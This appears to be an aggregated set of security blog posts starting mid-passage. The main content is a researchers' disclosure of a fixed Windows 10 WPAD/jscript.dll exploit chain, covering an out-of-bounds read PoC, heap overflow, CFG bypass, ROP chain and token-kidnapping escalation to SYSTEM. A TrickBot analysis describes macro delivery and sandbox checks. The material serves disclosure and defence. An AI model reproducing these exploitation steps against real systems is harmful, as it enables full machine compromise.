Wu repeats the well-known reference to Amazon during the dot-com bubble. If you bought Amazon's stock for $107 right before the dot-com crash, it still would be one of wisest investments you could've made. Amazon shares are now worth around $1,200 each.

The implication is that Bitcoin, too, may have such long term value. Even if you buy it today and it crashes tomorrow, it may still be worth ten-times its current value in another decade or two.

This is a poor analogy, for three reasons.

The first reason is that we knew the Internet had fundamentally transformed commerce. We knew there were going to be winners in the long run, it was just a matter of picking who would win (Amazon) and who would lose ( We have yet to prove Bitcoin will be similarly transformative.

The second reason is that businesses are real, they generate real income. While the stock price may include some irrational exuberance, it's ultimately still based on the rational expectations of how much the business will earn. With Bitcoin, it's almost entirely irrational exuberance -- there are no long term returns.

The third flaw in the analogy is that there are an essentially infinite number of cryptocurrencies. We saw this today as Coinbase started trading Bitcoin Cash, a fork of Bitcoin. The two are nearly identical, so there's little reason one should be so much valuable than another. It's only a fickle fad that makes one more valuable than another, not business fundamentals. The successful future cryptocurrency is unlikely to exist today, but will be invented in the future.

The lessons of the dot-com bubble is not that Bitcoin will have long term value, but that cryptocurrency companies like Coinbase and BitPay will have long term value. Or, the lesson is that "old" companies like JPMorgan that are early adopters of the technology will grow faster than their competitors.


The point of Wu's paper is to distinguish trust in traditional real-world institutions and trust in computer software code. This is an inaccurate reading of the situation.

Bitcoin is not about replacing real-world institutions but about untethering online transactions.

The trust in Bitcoin is in crypto -- the power crypto gives individuals instead of third-parties.

The trust is not in the code. Bitcoin is a "cryptocurrency" not a "codecurrency".

Hack Naked News #154 – December 19, 2017

Michael reports on a suspected North Korea Ransomware attack, Kaspersky federal software ban, compelled passwords, and 1 in 3 IT professionals looking for new jobs! Jason Wood of Paladin Security joins us for the expert commentary on Bitcoin, and more on this episode of Hack Naked News!


Full Show Notes:


Visit for all the latest episodes!

ThreatSTOP Adds Support for DShield Collaborative 404 Error Page Reporting

DShield has a project called the 404Project. The goal of the project is to track attackers looking to compromise web pages.

To do this, they've started selling a Raspberry Pi Honeypot to hook into your network. The alternative, is to embed one of a selection of code snippets into your website's 404 error page. These honey pots track hits on the 404 page. Hackers generate these hits when scanning for vulnerable utilities common to various web hosts. When the 404Project detects these scans, it records the attacker's IP and uploads it to DShield.

Don’t be a security snob. Support your business team!

Don't be a security snob. Support your business team!

There have been many a times that access controls have been discussed in the meetings related to web development. With an interconnected world of APIs it is very important to understand the authentication of these end-points. One of the best approach I always vouch for is mutual authentication on SSL certificates (or 2 way SSL). Most of the times it is viable but it fails when either of party couldn't support it (hence not mutual). So, what to do when the business can't implement your "security requirement"?

The role of security is not to hinder the business, but to support it. It has to act as a pillar, and not a tollgate. We all know, that's audit!

Are you a security snob?
The rules/ regulations made by us, auditors and regulators are to make sure the architecture, implementation and roll-out is secure, and the information is tightly controlled. It is in no manner adding to the miseries of developers at the last stage of go-live. The security requirements must be clear right from the design phase. There must be a security architect appointed to work in accordance with the industry standards, and security nitty-gritties. Sometimes the security team gets to know that few important implementations have not been considered and now the project is at final stage. What should the security do - Shall it take business to the grinding halt? Shall it take the developers back to drawing board? No and no! Don't be a snob!

Look forward, and figure out the workarounds; strong mitigations steps to find a way to lower the risk. As long as you can lower the risk to minimum by using WAF, access controls, and white-listing etc. the business can make a plan to "fix" it in the next release. Make sure business understands the risk - brand or financial, and then if the risk is too high - involve the "C" suite executives, but support the business instead of bashing them with - you didn't do this, or that. It is counter-productive and doesn't help any party.

In most cases "business" accounts for the IT security paychecks and it's your (security team) job to avoid it looking like an overhead, but an investment!
IT security is NOT generating money. So don't point fingers, but hold hands!

Now, in the case of mutual authentication - what if the 2-way SSL is not available? Is IP white-listing a possible option with API credentials? Yes, if the IP is not shared by the whole network & the traffic is over secure channel. It's a strong measure to apply and restrict the participating parties to talk 1:1 on an encrypted channel. But then, I have been asked what if there is IP spoofing? Come'on guys! IP spoofing doesn't work the way you think. It's a TCP handshake; how do you expect the handshake to succeed when the IP doesn't ACK the SYN-ACK? Rememeber, the "actual IP" is not expecting the SYN-ACK & traffic will not go to the "malicious IP". So, IP spoofing over Internet is out of picture.

As a security specialist, try to understand that there are various ways to strengthen the security without being a pain in the ass. There are ways to implement compensatory controls; making sure the traffic is encrypted, access controls are tightly restricted, and risk is lowered significantly. If you can do this, you can definitely help business go live, and give them time to manage the security expectations more constructively.

Cheers, and be safe.

Get the Industry’s #1 DNS Firewall, Starting at $5,995

Cyber security shouldn’t cost you an arm and a leg, and we believe that every business should have the option to get high quality, affordable protection. 95% of malware attacks involve DNS, and you shouldn’t ever have to compromise your organization, career, or peace of mind -- Hackers are waiting for just that. 

aPAColypse now: Exploiting Windows 10 in a Local Network with WPAD/PAC and JScript

by Ivan Fratric, Thomas Dullien, James Forshaw and Steven Vittitoe


Many widely-deployed technologies, viewed through 20/20 hindsight, seem like an odd or unnecessarily risky idea. Engineering decisions in IT are often made with imperfect information and under time pressure, and some oddities of the IT stack can best be explained with “it seemed like a good idea at the time”. In the personal view of some of the authors of this post, WPAD (“Web Proxy Auto Discovery Protocol” - and more specifically “Proxy Auto-Config”), is one of these oddities.

At some point in the very early days of the Internet - prior to 1996 - engineers at Netscape decided that JavaScript was a good language to write configuration files in. The result was PAC - a configuration file format that works as follows: The browser connects to a pre-configured server, downloads the PAC file, and executes a particular Javascript function to determine proper proxy configuration. Why not? It certainly is more expressive and less verbose than (let’s say) XML, and seems a reasonable way to provide configurations to many clients.

PAC itself was coupled with a protocol called WPAD - a protocol that makes it unnecessary for the browser to have a pre-configured server to connect to. Instead, WPAD allows the computer to query the local network to determine the server from which to load the PAC file.

Somehow this technology ended up being an IETF draft which expired in 1999, and now, in 2017, every Windows machine will ask the local network: “Hey, where can I find a Javascript file to execute?”. This can happen via a number of mechanisms: DNS, WINS, but - perhaps most interestingly - DHCP.

In recent years, browser exploits have mutated from being primarily DOM-oriented to targeting Javascript engines directly, so the mere mention that we can get Javascript execution over the network without the browser was motivating. An initial investigation revealed that the JS Engine responsible for executing these configuration files was jscript.dll - the legacy JS Engine that also powered IE7 and IE8 (and is still reachable in IE11 in IE7/8 compatibility mode if appropriate script attributes are used). This is both good and bad - on the one hand, it means that not every Chakra bug is automatically a local network remote attack, but on the other hand, it means that some pretty old code will be responsible for executing our Javascript.

Security researchers have previously warned about the dangers of WPAD. But, as far as we know, this is the first time that an attack against WPAD is demonstrated that results in the complete compromise of the WPAD user’s machine.

Windows is certainly not the only piece of software that implements WPAD. Other operating systems and applications do as well. For example Google Chrome also has a WPAD implementation, but in Chrome’s case, evaluating the JavaScript code from the PAC file happens inside a sandbox. And other operating systems that support WPAD don’t enable it by default. This is why Windows is currently the most interesting target for this sort of attack.

Web Proxy Auto-Discovery

As mentioned above, WPAD will query DHCP and DNS (in that order) to obtain a URL to connect to - apparently LLMNR and Netbios can also be used if no response from DNS is available. Some peculiarities of WPAD-over-DNS enable surprising attack vectors.

Attack scenario: Local network via DHCP

In the most common scenario, a machine will query the local DHCP server using option code 252. The DHCP server replies with a string - like “http://server.domain/proxyconfig.pac”, which specifies a URL from which the configuration file should be fetched. The client then proceeds to fetch this file, and execute the contents as Javascript.
In a local network, an attacker can simply impersonate the DHCP server - either by ARP games or by racing the legitimate DHCP. The attacker can then provide a URL where the malicious Javascript file is hosted.

Attack scenario: Remote over the internet via privileged position and DNS

Aside from the local-network attack scenario, the fact that lookup for WPAD may also happen via DNS creates a secondary attack scenario. Many users configure their computers to perform DNS lookups against one of the public, globally visible DNS servers (such as,, and In such a scenario, a machine will send DNS queries (such as wpad.local) to the server which sits outside of the local network. An attacker in a privileged position on the network (e.g. a gateway, or any other upstream host) can monitor the DNS queries and spoof a reply, directing the client to download and execute a malicious Javascript file.

Setups like these seem to be common - according to this Wikipedia entry, a nontrivial proportion of the traffic that the DNS root servers see are .local requests.

Attack scenario: Remote over the internet via malicious wpad.tld

A particular oddity of WPAD is that it recursively walks the local machine name to find domains to query. If a machine is called “”, the following domains are supposedly queried in order:


This has (according to this Wikipedia entry) in the past led to people registering and redirecting traffic to an online auction site. Further quoting from that entry:

Through the WPAD file, the attacker can point users' browsers to their own proxies and intercept and modify all of WWW traffic. Although a simplistic fix for Windows WPAD handling was applied in 2005, it only fixed the problem for the .com domain. A presentation at Kiwicon showed that the rest of the world was still critically vulnerable to this security hole, with a sample domain registered in New Zealand for testing purposes receiving proxy requests from all over the country at the rate of several a second. Several of the wpad.tld domain names (including COM, NET, ORG, and US) now point to the client loopback address to help protect against this vulnerability, though some names are still registered (
Thus, an administrator should make sure that a user can trust all the DHCP servers in an organisation and that all possible wpad domains for the organisation are under control. Furthermore, if there's no wpad domain configured for an organisation, a user will go to whatever external location has the next wpad site in the domain hierarchy and use that for its configuration. This allows whoever registers the wpad subdomain in a particular country to perform a man-in-the-middle attack on large portions of that country's internet traffic by setting themselves as a proxy for all traffic or sites of interest.

The IETF draft, on the other hand, explicitly asks for clients to only allow “canonical” (e.g. non-top-level domains). We have not investigated to what extent clients implement this, or if second-level domains (such as are the culprit in the historical cases of traffic redirection.

Either way: Bugs in the Javascript engine under consideration can be exploited remotely via the internet if one manages to register wpad.$TLD for a given organization’s TLD, provided said TLD is not explicitly blacklisted by the client implementation. Given that the IETF draft from 1999 refers to a list of TLDs from 1994 (RFC1591), it is unlikely that clients have been updated to reflect the proliferation of new TLDs.

Our attempts to register$TLD for a variety of TLDs were not (yet) successful.


We spent some time looking for bugs in jscript.dll and employed both manual analysis and fuzzing. JScript initially posed some challenge because a lot of “features” useful for triggering bugs in JavaScript engines can’t be used in JScript, simply due to it being too old to support them. For example:

  • There are no multiple arrays types (int array, float array etc.). Thus confusing one array type for another is not possible.
  • There are not as many optimizations (“fast paths”) as in the newer, faster JavaScript engines. These fast paths are often the source of bugs.
  • It is not possible to define a getter/setter on a generic JavaScript object. It is possible to call defineProperty but only on DOM objects which doesn’t work for us as there won’t be a DOM in the WPAD process. Even if there were, a lot of JScript functions will simply fail when called on a DOM object with a message “JScript object expected”.
  • It is impossible to change an object’s prototype once it is created (i.e. there is no “__proto__” property).

However, JScript does suffer from more “old-school” vulnerability classes such as use-after-free. JScript’s garbage collector is described in this old MSDN article. JScript uses a non-generational mark-and-sweep garbage collector. Essentially, whenever a garbage collection is triggered, it marks all the JScript objects. Then it scans them starting from a set of “root” objects (sometimes also referred to as “scavengers”) and clears the mark from all the objects it encounters. All the objects that are still marked get deleted. One recurring problem is that local variables on the stack aren’t added to the list of root objects by default, meaning that a programmer needs to remember to add them to the garbage collector’s root list, especially if those variables refer to objects that can be deleted during the function’s lifetime.

Other possible types of vulnerabilities include buffer overflows, uninitialized variables etc.

For fuzzing, we used the grammar-based Domato fuzzing engine and wrote a new grammar specifically for JScript. We identified interesting built-in properties and functions to add to the grammar by looking at EnsureBuiltin methods of various JScript objects. The JScript grammar has been added to the Domato repository here.

Between fuzzing and manual analysis we identified seven security vulnerabilities. They are summarized in the table below:

Vulnerability class
Vulnerabilities affecting IE8 mode
Vulnerabilities affecting IE7 mode
Heap overflow
Uninitialized variable
Out-of-bounds read

At the time of publishing this blog post, all the bugs have been fixed by Microsoft.

The table breaks down the vulnerabilities by class and compatibility mode required to trigger them. JScript in WPAD is equivalent to running a script in IE7 compatibility mode, which means that, although we found 7 vulnerabilities, “only” 5 of them can be triggered in WPAD. However, the other vulnerabilities can still be used against Internet Explorer (including IE11) when put into IE8 compatibility mode by a malicious webpage.


Understanding JScript VARs and Strings

Since in the remainder of this blogpost we’re going to talk about JScript VARs and Strings a lot, it is useful to describe these before going deeper into how the exploits work.

JScript VAR is a 24-byte (on 64-bit builds) structure that represents a JavaScript variable and is essentially the same as the VARIANT data structure described in this MSDN article. In most cases (sufficient to follow the exploit) its memory layout looks like this:

Variable type, 3 for integer, 5 for double, 8 for string etc.
Depending on the type, either an immediate value or a pointer
Unused for most types

For example, we can represent a double precision number by a VAR that has 5 written in the first 2 bytes (indicating the double type), followed by an actual double value at offset 8. The last 8 bytes are going to be unused but they are going to be copied around if a value of another VAR is copied from this VAR.

A JScript string is a type of VAR that has the type 8 and a pointer at offset 8. The pointer points into a BSTR structure described here. On 64-bit builds BSTR layout looks like this:

String length in bytes not counting the null character at the end
String characters (16-bit) followed by a null character

A String VAR points directly to the character array, which means that, to obtain a String's length, the pointer needs to be decremented by 4 and the length read from there. Note that BSTRs are handled by OleAut32.dll and are allocated on a separate heap (i.e. a different heap than is being used for other JScript objects).

Freeing of BSTRs is also different than for most objects because, instead of directly freeing a BSTR, when SysFreeString is called, it first puts a string in a cache controlled by OleAut32.dll. This mechanism is described in detail in Heap Feng Shui in JavaScript.

Stage 1: Infoleak

The purpose of the infoleak will be to obtain the address of a string in memory whose content we fully control. We won’t be leaking any executable module addresses at this point, that will come later. Instead, the goal is to defeat high-entropy heap randomization and make the second stage of the exploit reliable without having to use heap spraying.

For the infoleak we’re going to use this bug in RegExp.lastParen. To understand the bug let’s first take a closer look at the memory layout of jscript!RegExpFncObj which corresponds to the JScript RegExp object. At offset 0xAC RegExpFncObj contains a buffer of 20 integers. Actually these are 10 pairs of integers: the first element of the pair is the start index into the input string and the second element is the end index. Whenever RegExp.test, RegExp.exec or with a RegExp parameter encounter a capturing group (parentheses in the RegExp syntax), the start and end index of the match are stored here. Obviously in the buffer there is space for only 10 matches, so only the first 10 matches are stored in this buffer.

However, if RegExp.lastParen is called and there were more than 10 capturing groups, RegExpFncObj::LastParen will happily use the number of capturing groups as an index into the buffer, leading to out-of-bounds read. Here is a PoC:

 var r= new RegExp(Array(100).join('()'));

The 2 indices (let’s call them start_index and end_index) are read outside the bounds of the buffer and can thus be made arbitrarily large. Assuming this first out-of-bounds access doesn’t cause a crash, if the values in those indices are larger than the length of the input string, then a second out-of-bounds access is going to occur which allows us to read a outside the bounds of the input string. The string content read out-of-bounds like this is going to be returned to the caller in a String variable where it can be examined.

This second out-of-bounds read is what we’re going to use, but first we need to figure out how to get controlled data into start_index and end_index. Fortunately, looking at the layout of RegExpFncObj, there is data we control after the end of the index buffer: RegExp.input value. By setting RegExp.input to an integer value and using a RegExp composed of 41 sets of empty parentheses, when  RegExp.lastParen gets called, start_index is going to be 0 and the end_index is going to be whatever value we wrote to RegExp.input.

If we make an input string adjacent to a freed string, then by reading after the bounds of input string, we can obtain the heap metadata such as the pointers to the other free heap segments (Left, Right and Parent node in the red-black tree of heap chunks, see Windows 10 Segment Heap Internals for more information). Image 1 shows the relevant objects at the moment of infoleak.

Image 1: Heap infoleak layout

We are using 20000 bytes-long strings as input in order for them not to be allocated on the Low Fragmentation Heap (LFH can only be used for allocations of 16K bytes and smaller) since the heap metadata for the LFH is different and does not include useful pointers in Windows 10 Segment Heap. Additionally, LFH introduces randomness that would affect our ability to place the input string next to a freed string.

By reading the heap metadata out of the returned string, we can obtain an address of a freed string. Then, if we allocate a string of the same size as the freed string, it might be placed at this address and we achieved our goal, that is we know the address of memory of a string whose content we control.

The whole infoleak process looks like this:

  1. Allocate 1000 10000-character strings (note: 10000 characters == 20000 bytes).
  2. Free every second one.
  3. Trigger the info leak bug. Use one of the remaining strings as an input strings and read 20080 bytes.
  4. Analyze the leaked string and obtain the pointer to one of the freed strings.
  5. Allocate 500 strings of the same length as the freed strings (10000 characters) with a specially crafted content.

The content of the specially crafted strings is not important at this stage, but will be important in the next one, so it will be described there. Also note that, by examining heap metadata, we can easily determine which heap implementation the process is using (Segment Heap vs NT heap).

Images 2 and 3 show heap visualization created using Heap History Viewer at the time around the infoleak. Green stripes represent allocated blocks (occupied by strings), grey stripes represent allocated blocks that are then freed by later allocated again (the stings we free and then reallocate after triggering the infoleak bug) and the white stripes represent data that is never allocated (guard pages). You can see how strings get allocated as the time passes, then half of them are freed (grey ones) and sometime later get allocated again (the stripes become green).

We can see that there are going to be guard pages after every 3 allocations of this size. Our exploit is never actually going to touch any of these guard pages (it reads too little data past the end of the string for that to occur) but in ⅓ of the cases there won’t be a free string after the input string for the infoleak so the expected heap metadata will be missing. We can, however, easily detect this case and either trigger the infoleak bug using another input string or silently abort the exploit (note: we didn’t trigger any memory corruption up to this point).

Image 2: Heap Diagram: Showing the evolution of the heap over time
Image 3: Step-by-step illustration of leaking a pointer to a string.

Stage 2: Overflow

In stage 2 of the exploit we’re going to use this heap overflow bug in Array.sort. In case the number of elements in the input array to Array.sort is larger than Array.length / 2, JsArrayStringHeapSort (called by Array.sort if a comparison function isn’t specified) is going to allocate a temporary buffer of the same size as the number of elements currently in the array (note: can be smaller than array.lenght). It is then going to attempt to retrieve the corresponding elements for every array index from 0 to Array.length and, if that element exists, add it to the buffer and convert to string. If the array doesn’t change during the lifetime of JsArrayStringHeapSort, this will work fine. However, JsArrayStringHeapSort converts array elements into strings which can trigger toString() callbacks. If during one of those toString() callbacks elements are added to the array where they were previously undefined, an overflow is going to occur.

To understand the bug and its exploitability better let’s take a closer look at the structure of the buffer we’ll overflow out of. It is already mentioned that the array will have the same size as the number of elements currently in input array (to be exact, it is going to be number of elements + 1). Each element of the array is going to be 48 bytes in size (in a 64-bit build) with the following structure:

Pointer to a string VAR after the original VAR at offset 16 is converted to string
Index (int) of the current element
VAR holding the original array element
int 0 or 1 depending on the type of VAR at offset 16

During JsArrayStringHeapSort, each element of the array with index < array.length is retrieved, and if the element is defined the following happens:

  1. The array element is read into VAR at offset 16
  2. The original VAR is converted into a string VAR. A pointer to the string VAR is written at offset 0.
  3. At offset 8, the index of the current element in array is written
  4. Depending on the original VAR type, 0 or 1 is written at offset 40

Looking at the structure of the temporary buffer, we don’t control a lot of it directly. If an array member is a string, then at offsets 0 and 24 we’re going to have a pointer that, when dereferenced, at offset 8 contains another pointer to the data we control. This is, however, one level of indirection larger than what would be useful to us in most situations.

However, if a member of array is a double precision number, then at offset 24 (corresponding to offset 8 into the original VAR) the value of that number is going to be written and it is directly under our control. If we create a number with the same double representation as the pointer obtained in Stage 1, then we can use our overflow to overwrite a pointer somewhere after the end of the buffer with a pointer to the memory we directly control.

Now the question becomes, what can we overwrite in this way to advance the exploit. One of the possible answers presents itself if we take a closer look at how Objects work in JScript.

Each Object (more specifically, a NameList JScript object) is going to have a pointer to a hashtable. This hashtable is just an array of pointers. When a member element of an Object is accessed, a hash of the name of the element is computed. Then, a pointer at the offset corresponding to the lowest bits of the hash is dereferenced. This pointer points to a linked list of object elements and this linked list is traversed until we reached an element with the same name as the requested element. This is shown in image 4.

Image 4: JScript Object element internals

Note that, when the name of the element is less than 4 bytes, it is stored in the same structure as the VAR (element value). Otherwise, there is going to be a pointer to the element name. Name lengths <=4 are sufficient for us so we don’t need to go into the details of this.

An Object hashtable is a good candidate to overwrite because:

  • We can control which elements of it are dereferenced by accessing the corresponding object members. Elements we overwrite with data we don’t control will simply never be accessed.
  • We have limited control over the hashtable size by controlling how many members the corresponding object has. For example a hashtable starts with 1024 bytes, but if we add more than 512 elements to the object, the hashtable will be reallocated to 8192 bytes.
  • By overwriting a hashtable pointer with a pointer to data we control, we can create fake JScript vars in the data we control and access them simply by accessing the corresponding object members.

To perform the overwrite reliably we do the following:

  1. Allocate and free a lot of memory blocks with size 8192. This will turn on the Low Fragmentation Heap for allocation of size 8192. This will ensure that the buffer we are overflowing out of, as well as hashtable we are overflowing into will be allocated on the LFH. This is important because it means there will be no other allocations of other sizes nearby to spoil the exploit attempt (since an LFH bucket can only contain allocations of a certain size). This in turn ensures that we will be overwriting exactly what we want with high reliability.
  2. Create 2000 objects, each containing 512 members. In this state, each object has a hashtable of 1024 bytes. However, adding just one more element to one of these objects will cause its hashtable to grow to 8192 bytes.
  3. Add the 513 element to the first 1000 objects, causing 1000 allocations of 8192-byte hashtables.
  4. Trigger Array.sort with an array with length=300 and 170 elements. This allocates a buffer of size (170+1)*48=8208 bytes. Due to LFH granularity this object will be allocated in the same LFH bucket as 8192-byte hashtables.
  5. Immediately (in the toString() method of the first array element) add 513th element to the second 1000 objects. This makes us pretty certain that by now the sort buffer is neighboring one of the hashtables. In the same toString() method also add more elements to the array which will cause it to grow out-of-bounds.

Image 5 shows heap visualization around the address of the sort buffer (red line). You can see the sort buffer is surrounded by allocations of similar size which all correspond to Object hashtables. You can also observe the LFH randomness in the sense that subsequent allocations are not necessarily on subsequent addresses, however this makes no difference for our exploit.

Image 5: Heap visualization around the overflow buffer

As mentioned previously, we crafted our overflow in such a way that some of the hashtable pointers of an unlucky JScript object will get overwritten with pointers into the data we control. Now finally what exactly we put into this data comes into play: we crafted it in such a way that it contains 5 (fake) JavaScript variables:

  • Variable 1 just contains number 1337.
  • Variable 2 is of special type 0x400C. This type basically tells JavaScript that the actual VAR is pointed to by pointer at offset 8, and this pointer should be dereferenced before reading or writing this variable. In our case, this pointer points 16 bytes before Variable 1. This basically means that the last 8-byte qword of Variable 2 and the first 8-byte qword of Variable 1 overlap.
  • Variable 3, Variable 4 and Variable 5 are simple integers. What is special about them is that they contain numbers 5, 8 and 0x400C in their last 8 bytes, respectively.

The state of the corrupted Object after the overflow is shown in image 6.

Image 6: State of objects after the overflow. Red areas indicate where the overflow occurred. Each box in the bottom row (except those marked as ‘...’) corresponds to 8 bytes. Data contained in ‘...’ boxes is omitted for clarity

We can access Variable 1 by simply accessing the corrupted object at the correct index (let’s call it index1) and similarly for Variables 2-5. In fact, we can detect which Object we corrupted by accessing index1 of all objects and seeing which now has the value 1337.

Overlapping Variable 1 and Variable 2 has the effect that we can change the type (first WORD) of Variable 1 into 5 (double), 8 (string) or 0x400C (pointer). We do this by reading Variable 2, 3 or 4 and then writing the read value into Variable 2. For example the statement

corruptedobject[index2] = corruptedobject[index4];

Has the effect that the type of Variable 1 will be changed into a String (8), while all other fields of Variable 1 will remain unchanged.

This layout gives us several very powerful exploitation primitives:

  • If we write some variable that contains a pointer into Variable 1, we can disclose the value of this pointer by changing the type of Variable 1 to double (5) and reading it out
  • We can disclose (read) memory at an arbitrary address by faking a String at that address. We can accomplish this by first writing a double value corresponding to the address we want to read into Variable 1 and then changing the type of Variable 1 toString (8).
  • We can write to an arbitrary address by first writing a numeric value corresponding to the address into Variable 1, then changing the type of Variable 1 to 0x400C (pointer) and finally writing some data to Variable 1.

With these exploit primitives, normally getting the code execution would be pretty simple, but since we’re exploiting Windows 10 we first need to bypass the Control Flow Guard (CFG).

Stage 3: CFG bypass

There are probably other known bypasses we could have used here, but it turns out that there are some very convenient bypasses (once attacker has a read/write primitive) specific to jscript.dll. We are going to exploit the facts that:

  • Return addresses are not protected by CFG
  • Some Jscript objects have pointers to the native stack

Specifically, each NameTbl object (in Jscript, all JavaScript objects inherit from NameTbl), at offset 24 holds a pointer to CSession object. CSession object, at offset 80 holds a pointer to near the top of the native stack.

Thus, with an arbitrary read, by following a chain of pointers from any JScript object, it is possible to retrieve a pointer to the native stack. Then, with an arbitrary write, it is possible to overwrite a return address, bypassing CFG.

Stage 4: Getting code execution as Local Service

With all the exploit elements in place, we can now proceed to getting the code execution. We are doing it in these steps:

  1. Read the address of jscript.dll from a vtable of any JScript object
  2. Read the address of kernel32.dll by reading the import table of jscript.dll
  3. Read the address of kernelbase.dll by reading the import table of kernel32.dll
  4. Scan kernel32.dll for rop gadgets we are going to need
  5. Get the address of WinExec from the export table of kernel32.dll
  6. Leak the stack address as explained in the previous section
  7. Prepare the ROP chain and write it to the stack, starting with a return address closest to our leaked stack address.

The ROP chain we are using looks like this:

[address of RET]  //needed to align the stack to 16 bytes
[address of POP RCX; RET] //loads the first parameter into rcx
[address of command to execute]
[address of POP RDX; RET] //loads the second parameter into rdx
[address of WinExec]

By executing this ROP chain we are calling WinExec with a command we specified. For example, if we run the command ‘cmd’ we are going to see a command prompt being spawned, running as Local Service (the same user WPAD service runs as).

Unfortunately, from a child process running as Local Service, we can’t talk to the network, but what we can do is drop our privilege escalation payload from memory to a disk location Local Service can write and execute it from there.

Stage 5: Privilege escalation

While the Local Service account is a service account, it doesn’t have administrative privileges. This means the exploit is quite limited in what it can access and modify on the system, especially to persist after exploitation or after the system has been rebooted. While there’s always likely to be an unfixed privilege escalation in Windows we don’t need to find a new vulnerability to escalate our privileges. Instead we can abuse a built-in feature to escalate from Local Service to the SYSTEM account. Let’s look at the privileges that the service account for WPAD has been granted:

Image 7: Service Access Token’s Privileges showing Impersonate Privilege

We’ve only got three privileges, but the highlighted privilege, SeImpersonatePrivilege is important. This privilege allows the service to impersonate other users on the local system. The reason the service has impersonate privilege is it accepts requests from all users on the local system and might need to perform actions on their behalf. However, as long as we can get an access token for the account we want to impersonate we can get the full access rights of the token’s user account, including SYSTEM which would give us administrator rights on the local system.

Abusing impersonation is a known issue with the Windows security model (you can find more details by searching for Token Kidnapping). Microsoft have tried to make it harder to get an access token for a privileged user but it’s virtually impossible to close all possible routes. For example, James discovered a vulnerability in Windows’ implementation of DCOM which allows any user to get access to a SYSTEM access token. While Microsoft fixed the direct privilege escalation vulnerability they didn’t, or perhaps couldn’t, fix the token kidnapping issue. We can abuse this feature to capture the SYSTEM token, impersonate the token, then completely compromise the system, such as installing a privileged service.

There’s an existing implementation of the token kidnapping via DCOM (RottenPotato) however the implementation was designed for use with the Metasploit framework’s getsystem command which we’re not using. Therefore, we implemented our own simpler version in C++ which directly spawns an arbitrary process with a SYSTEM token using the CreateProcessWithToken API. As a bonus we were able to compile it to an executable of 11KiB in size, much smaller than RottenPotato, which made it easier to drop to disk and run from the ROP payload.

Tying it all together

When the WPAD service queries for the PAC file, we serve the exploit file which exploits the WPAD service and runs WinExec to drop and execute the privilege escalation binary. This binary then executes a command (hardcoded ‘cmd’ in our case) as SYSTEM.

The exploit worked pretty reliably in our experiments, but it is interesting to note that a 100% reliable exploit isn’t required - if the exploit crashes the WPAD service, a new instance is going to get spawned when a client makes another request from WPAD service, so an attacker can just try again. There will be no indication in the UI that the WPAD service has crashed, although Window Error Reporting will likely pick up the crash and report it to Microsoft, provided that the user didn’t disable it.

In fact, our exploit doesn’t clean up gracefully and will crash the WPAD service once it runs its payload, so if we keep serving the exploit PAC file after the service has been exploited, it will just get exploited again. You can see the effect of that in Image 7, which was taken after leaving the exploit server running for some minutes and making a lot of HTTP requests in the victim machine.

Image 7: Did we leave the exploit running for too long?

We’ll publish the exploit source code in the issue tracker shortly.


Executing untrusted JavaScript code is dangerous, and executing it in an unsandboxed process is even more so. This is true even if it’s done by a relatively compact JavaScript engine such as jscript.dll. We identified 7 security vulnerabilities in it and successfully demonstrated reliable code execution from local network (and beyond) against a fully patched (at the time of writing) Windows 10 64-bit with Fall Creators Update installed.

Since the bugs are now fixed, does this mean we are done and can go home? Unlikely. Although we spent a fair amount of time, effort and compute power on finding jscript.dll bugs, we make no claims that we found all of them. In fact, where there are 7 bugs, there is likely to be an 8th. So if something doesn’t change it is quite possible we’ll see a chain like this used in the wild someday (and that is, of course, optimistically assuming that attackers don’t have this capability already).

So, what can Microsoft do to make future attacks like this harder:

  • Disable WPAD by default. In fact, while the other operating systems support WPAD, Windows is the only one where it is enabled by default.
  • Sandbox the JScript interpreter inside the WPAD service. Since the interpreter needs to execute a JavaScript function with well defined inputs and return the output string, sandboxing it should be pretty straightforward. Given the simplicity of the input-output model, it would be great if Microsoft introduced a sandbox of comparable restrictiveness to seccomp-strict: Some processes really do not need more privileges than “receive a bit of data”, “perform a bit of computation”, “return a bit of data”.

In case you want to take action on your own, the only way to prevent this type of attack using new, currently unknown vulnerabilities, seems to be to completely disable the WinHttpAutoProxySvc service. Sometimes this can’t be done in the Services UI (“Startup type” control will be grayed out) due to other services depending on WPAD, but it can be done via the corresponding registry entry. Under “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WinHttpAutoProxySvc” change the value of “Start” from 3 (manual) to 4 (disabled).

These are some of the advices commonly found online when searching for “disabling WPAD” that did not work to prevent the attack in our experiments:

  • Turning off “Automatically detect settings” in Control Panel
  • Setting “WpadOverride” registry key
  • Putting “ wpad” in the hosts file (this is going to stop the DNS variant but likely not the DHCP variant)

Don’t Let An Auto-Elevating Bot Spoil Your Christmas

Ho ho ho! Christmas is coming, and for many people it’s time to do some online shopping.
Authors of banking Trojans are well aware of this yearly phenomenon, so it shouldn’t come as a surprise that some of them have been hard at work preparing some nasty surprises for this shopping season.

And that’s exactly what TrickBot has just gone and done. As one of the most prevalent banking malware for Windows nowadays, we’ve recently seen it diversify into attacking Nordic banks. We’ve blogged about that a couple of times already.

As usual, the Trojan is being delivered via spam campaigns. According to this graph, based on our telemetry, most spam was distributed between Tuesday afternoon and Wednesday morning:


The spam emails we’ve seen typically have a generic subject like “Your Payment – 1234”, a body with nothing but “Your Payment is attached”, and indeed an attachment which is a Microsoft Word document with instructions in somewhat poor English…


Clicking the button will not reveal any document content, but launch a macro that will eventually download and run the TrickBot payload.
Same old trick, but some people who have just bought a Christmas gift might still fall for it and end up with another ‘gift’ installed on their computer.

And that ‘gift’ is the most interesting part of this story. The newest payload underwent some changes which are, well, remarkable…


Since its initial appearance during Fall 2016, the actors have been actively developing the malware, and are constantly expanding and changing the targets. Here a short summary of the recently spotted changes:

  • Removed: banks in Australia, New Zealand, Argentina, Italy
  • Changed: a few Spanish, Austrian and Finnish targets are now found in the Dynamic Injection list (adding interception code to the actual web page) instead of using Static Injection (replacing the complete web page)
  • Added: new banks, particularly in France, Belgium and Greece.

Anti-sandbox checks

Up till now, we were not aware of any features in TrickBot that were checking if the malware is run in a virtual machine or a sandboxed environment used for automatic analysis. The new version has introduced a few simple checks against some known sandboxes by calling GetModuleHandle for the following DLLs:


(More info about every DLL can be found here)

If any of these modules are found, the payload just quits.

Interestingly, we have also found a few encrypted strings that seem to indicate detection of the Windows virtual machine images that Microsoft provides for web developers to test their code in Internet Explorer and Edge, however, these strings are not used anywhere (yet). Let’s see if the actors will expand their sandbox evasion attempts in a future version.



